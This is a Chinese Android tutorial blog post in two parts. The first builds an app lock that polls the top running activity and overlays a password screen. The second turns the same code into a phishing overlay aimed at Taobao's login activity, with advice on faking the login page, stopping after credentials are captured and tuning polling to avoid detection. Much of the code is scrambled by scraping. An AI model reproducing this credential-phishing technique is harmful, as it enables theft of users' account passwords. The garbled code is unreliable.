導讀:本文介紹如何實現對應用加鎖的功能,無須root權限
某些人有時候會有這樣一種需求,小A下載了個軟件,只是軟件中的美女過於誘惑與暴露,所以他不想讓別人知道這是個什麼軟件,起碼不想讓別人打開瀏覽。而這款軟件又沒有鎖,任何人都可以打開,腫麼辦呢?如果打開它的時候需要輸入密碼,那該多好阿!於是,程序鎖這種應用就產生了
程序鎖不是最近纔有的,很久之前android就有這種apk了
這一期我們來苛刻如何實現程序加鎖功能
首先,我們先明確一下我們要做的程序具有什麼功能
1可以選擇需要加鎖的程序
2可以設置密碼
3可以關閉程序鎖
這裏作爲演示,我們就儘量簡化代碼
我們先說最關鍵的部分
最關鍵的地方在於:當用戶打開一個應用的時候,怎麼彈出密碼頁面?
這裏沒有什麼太好的辦法,需要掃描task中的topActivity
首先,我們先獲得運行的task
-
mActivityManager
= "activity");(ActivityManager) context.getSystemService( -
//mActivityManager.getRunningTasks(1);//List
getRunningTasks方法返回一個List,我們來看看這個List是什麼
-
Return
a list of the tasks that are currently running, with the most recent being first and older ones after in order. -
……
-
ComponentName
topActivity 1).get(0).topActivity;= mActivityManager.getRunningTasks(
-
ComponentName
topActivity 1).get(0).topActivity;= mActivityManager.getRunningTasks( -
String
packageName = topActivity.getPackageName(); -
String
className = topActivity.getClassName(); -
Log.v(TAG,
"packageName" + packageName); -
Log.v(TAG,
"className" + className); -
-
if
(testPackageName.equals(packageName) -
&& testClassName.equals(className)) { -
Intent intent = new Intent(); -
intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity"); -
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); -
mContext.startActivity(intent); -
}
-
String
testPackageName "com.htc.notes";= -
String
testClassName = "com.htc.notes.collection.NotesGridViewActivity";
下面我們該想,這段代碼何時執行了
打開一個應用程序,系統不會發送廣播,我們無法直接監聽,所以這裏我們採取定時掃描的策略
這裏只是一個簡單的實現,之後我們再討論優化
我們採取每秒中檢查一次task的方式,這裏使用Timer吧,用Handler也一樣可以實現
-
private
Timer mTimer; -
private
void startTimer() { -
if (mTimer null)== { -
mTimer = new Timer(); -
LockTask lockTask = new LockTask( this); -
mTimer.schedule(lockTask, 0L, 1000L); -
} -
}
到這裏,其實我們的關鍵代碼就已經完成了
下面貼出完整帶代碼,注意:我們只關注彈出鎖界面這部分,其他部分自行實現(比如文章末尾提到的)
Task,負責檢查task,並在適當的時候彈出密碼頁面
-
public
class LockTask extendsTimerTask { -
public static final String "LockTask";TAG = -
private Context mContext; -
String testPackageName = "com.htc.notes"; -
String testClassName = "com.htc.notes.collection.NotesGridViewActivity"; -
-
private ActivityManager mActivityManager; -
-
public LockTask(Context context) { -
mContext = context; -
mActivityManager = (ActivityManager) context.getSystemService("activity"); -
} -
-
@Override -
public void run() { -
ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity; -
String packageName = topActivity.getPackageName(); -
String className = topActivity.getClassName(); -
Log.v(TAG, "packageName" + packageName); -
Log.v(TAG, "className" + className); -
-
if (testPackageName.equals(packageName) -
&& testClassName.equals(className)) { -
Intent intent = new Intent(); -
intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity"); -
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); -
mContext.startActivity(intent); -
} -
} -
}
-
public
class LockService extendsService { -
private Timer mTimer; -
public static final int FOREGROUND_ID 0;= -
-
private void startTimer() { -
if (mTimer null)== { -
mTimer = new Timer(); -
LockTask lockTask = new LockTask( this); -
mTimer.schedule(lockTask, 0L, 1000L); -
} -
} -
-
public IBinder onBind(Intent intent) { -
return null; -
} -
-
public void onCreate() { -
super.onCreate(); -
startForeground(FOREGROUND_ID, new Notification()); -
} -
-
public int onStartCommand(Intent intintent, flags, intstartId) { -
startTimer(); -
return super.onStartCommand(intent, flags, startId); -
} -
-
public void onDestroy() { -
stopForeground(true); -
mTimer.cancel(); -
mTimer.purge(); -
mTimer = null; -
super.onDestroy(); -
} -
}
-
public
class MainActivity extendsActivity { -
-
public void onCreate(Bundle savedInstanceState){ -
super.onCreate(savedInstanceState); -
startService(new Intent( this,LockService. class)); -
} -
}
PasswordActivity,密碼頁面,很粗糙,沒有核對密碼邏輯,自行實現
記得重寫onBackPressed函數,不然按返回鍵的時候……你懂的
-
public
class PasswordActivity extendsActivity { -
-
private static final String "PasswordActivity";TAG = -
Button okButton; -
EditText passwordEditText; -
private boolean mFinish false;= -
-
@Override -
protected void onCreate(Bundle savedInstanceState) { -
super.onCreate(savedInstanceState); -
setContentView(R.layout.password); -
passwordEditText = (EditText) findViewById(R.id.password); -
okButton = (Button) findViewById(R.id.ok); -
okButton.setOnClickListener(new View.OnClickListener() { -
public void onClick(View v) { -
String password = passwordEditText.getText().toString(); -
Log.v(TAG, "password" + password); -
mFinish = true; -
finish(); -
} -
}); -
} -
-
public void onBackPressed(){} -
-
public void onPause(){ -
super.onPause(); -
if(!mFinish){ -
finish(); -
} -
} -
}
-
<</span>uses-permission
android:name="android.permission.GET_TASKS"/>
關於程序的其他部分,這裏只做簡要說明
選擇應用對其進行加鎖部分
1列出系統中所有程序(你也可以自由發揮,比如過濾掉原始應用)
2選擇,然後存入數據庫(當然,最好也有取消功能,記得從數據庫中刪除數據)
程序鎖總開關
可以使用sharedPreference,設置一個boolean開關
現在,當我想要打開htc的note應用的時候,就會彈出密碼頁面當我解鎖,按home會回到桌面,長按home,點擊note,還是會彈出密碼框
因爲是每秒檢查一次,所以可能會有一點點延遲,你可以設置爲500毫秒,但是越頻繁,佔用資源就越多
上面的代碼我取得topActivity後檢查了其包名行和類名,所以只有當打開指定的頁面的時候,纔會彈出密碼鎖
比如我對Gallery應用加密了,但是用戶正在編輯短信,這時候它想發彩信,於是他通過短信進入到了Gallery……
對於某些用戶的某些需求來說,這是不能容忍的,這時,我們只需簡單修改下判斷邏輯即可:只檢查包名,包名一致就彈出密碼鎖,這樣就完美了
程序鎖我就分析到這裏
最後一句
當使用程序鎖的時候,你長按home,發現程序鎖也出現在“最近的任務”中,腫麼辦……給此activity設置android:excludeFromRecents="true"即可
導讀:文本介紹一種釣魚應用,講述如何騙取用戶的用戶名和密碼,無須root
這個話題是繼續android安全問題(二) 程序鎖延伸的
之前我已經展示瞭如何製作程序鎖。當打開指定應用的時候,彈出一個密碼頁面。
程序鎖的話題雖然是和安全相關,但是這應該屬於防範的範圍,如果被人惡意利用,那麼後果……
這期我來揭示一下一種釣魚程序的原理,希望廣大用戶不要上當受騙,最主要的是:希望大家意識到安全問
之前我用定時掃描activity的方法來檢查打開的頁面是不是我們所需要的頁面
-
ComponentName
topActivity 1).get(0).topActivity;= mActivityManager.getRunningTasks(
從log中我們能得到其包和類的信息
-
10-17
10:02:14.698: I/ActivityManager(246): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms
恩,這就好辦了,下面我只需改三處,程序鎖這個應用就會變成調用應用
第一個修改很簡單,修改我們監聽的包名和類名即可
-
String
testPackageName "com.taobao.taobao";= -
String
testClassName = "com.taobao.tao.LoginActivity";
-
public
class LockTask extendsTimerTask { -
public static final String "LockTask";TAG = -
private Context mContext; -
String testPackageName = "com.taobao.taobao"; -
String testClassName = "com.taobao.tao.LoginActivity"; -
-
private ActivityManager mActivityManager; -
-
public LockTask(Context context) { -
mContext = context; -
mActivityManager = (ActivityManager) context.getSystemService("activity"); -
} -
-
@Override -
public void run() { -
ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity; -
String packageName = topActivity.getPackageName(); -
String className = topActivity.getClassName(); -
Log.v(TAG, "packageName" + packageName); -
Log.v(TAG, "className" + className); -
-
if (testPackageName.equals(packageName) -
&& testClassName.equals(className)) { -
Intent intent = new Intent(); -
intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity"); -
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); -
mContext.startActivity(intent); -
} -
} -
}
第二個修改有些技術含量,可能會需要一個專業的美工,來仿造一個淘寶的登錄頁面,就如上圖所示的那樣
最後一個修改,當病毒獲取了用戶名和密碼之後,就不要再繼續監聽了,不然次數多了肯定會被發現
爲了儘量不讓用戶察覺,可以把頻率調高一些,比如500ms檢查一次,這樣用戶就很難察覺了
測試項目完整源碼見這裏,代碼是以android4.0爲基礎寫的(當然,我的釣魚頁面是簡陋的,只是用於演示)
(由於csdn只允許傳圖片,還得勞煩大家去我iteye的blog下載。。。汗阿)
無論是程序鎖還是釣魚程序,他們可能都擔心耗電問題,因爲耗電過多也會引起用戶的注意
我們可以降低檢查頻率(當然,釣魚程序是不會這麼幹的)
我們可以監控屏幕狀態,當屏幕關閉的時候,我們可以停止監聽,這時候也沒有必要監聽,當點亮的時候我們再監聽
如何監聽屏幕狀態?
-
<</span>receiver
android:name=".ScreenListenerReceiver"> -
<</span>intent-filter> -
<</span>action android:name="android.intent.action.SCREEN_OFF"/> -
<</span>action android:name="android.intent.action.SCREEN_ON"/> -
</</span>intent-filter> -
</</span>receiver>